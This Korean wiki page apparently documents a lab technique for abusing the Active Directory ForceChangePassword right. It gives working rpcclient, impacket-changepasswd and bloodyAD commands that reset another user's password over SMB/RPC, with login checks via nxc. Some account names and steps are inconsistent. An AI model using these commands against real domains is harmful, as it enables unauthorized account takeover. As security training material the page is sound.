All pages
Powered by GitBook
1 of 1

ForceChangePassword

ForceChangePassword는 Active Directory에서 사용되는 권한입니다. Active Directory에서 사용되는 권한인 ForceChangePassword는 Alice 사용자가 Bob 사용자에 대한 권한이 있을 시 Bob 사용자의 패스워드를 임의로 변경해버릴 수 있는 권한입니다.

침투자 혹은 공격자의 입장에서 프롬프트 환경을 사용하지 못한다고 하더라도 msrpc, SMB 등의 프로토콜이 실행중이라면 원격 명령 실행을 통해 변경할 수 있습니다. 현재 실습 환경에서는 wiki 사용자가 pentesting 사용자에 대한 ForceChangePassword 권한이 있기 때문에 원격으로 pentesting 사용자의 패스워드를 변경할 수 있습니다.

msrpc가 실행중인 서버의 경우 setuserinfo2를 통해서 변경 권한이 있는 유저에 한해서 유저 정보 변경이 가능합니다. RPC 원격 접속을 변경 권한이 존재하는 support 계정으로 접속했기 때문에 audit2020 계정에 한해서 setuserinfo2 모듈 사용을 통한 정보 변경이 가능합니다. setuserinfo2 모듈에서 패스워드 변경은 23번이며 기본 포맷은 다음과 같습니다.

setuserinfo2 <Target> 23 <New PASS>

명령 실행 이후엔 패스워드가 변경되어 기존의 password123@에서 password321!로 변경된 뒤 로그인이 성공합니다.

┌──(root㉿kali)-[~]
└─# rpcclient -U wiki 10.0.2.10                                                                  
Password for [WORKGROUP\wiki]:
rpcclient $> setuserinfo2 pentesting 23 password321!
rpcclient $> exit
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# nxc smb 10.0.2.10 -u pentesting -p password321!
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB         10.0.2.10       445    DC01             [+] offsec.local\pentesting:password321! 

SMB를 통한 패스워드 원격 변경은 impacket-changepasswd 모듈을 사용합니다. 기본적인 포매팅은 다음과 같습니다.

impacket-changepasswd -altuser <USER> -altpass <PASS> <Domain>/<Target>@<DC-IP> -reset

명령을 입력하면 기존의 패스워드는 password123@로 로그인했지만 실행 이후엔 password123!로 로그인이 되는 것을 확인할 수 있습니다.

┌──(root㉿kali)-[~]
└─# impacket-changepasswd -altuser pentesting -altpass password123@ offsec/pentesting@10.0.2.10 -reset
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

New password: 
Retype new password: 
[*] Setting the password of offsec\pentesting as offsec\pentesting
[*] Connecting to DCE/RPC as offsec\pentesting
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# nxc smb 10.0.2.10 -u pentesting -p password123!                                                   
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB         10.0.2.10       445    DC01             [+] offsec.local\pentesting:password123! 
bloodyAD --host <Target IP> -d <Domain> -u <USER> -p <PASS> set password <Target USER> <Target New PASS>

References

LogoForceChangePasswordThe Hacker Recipes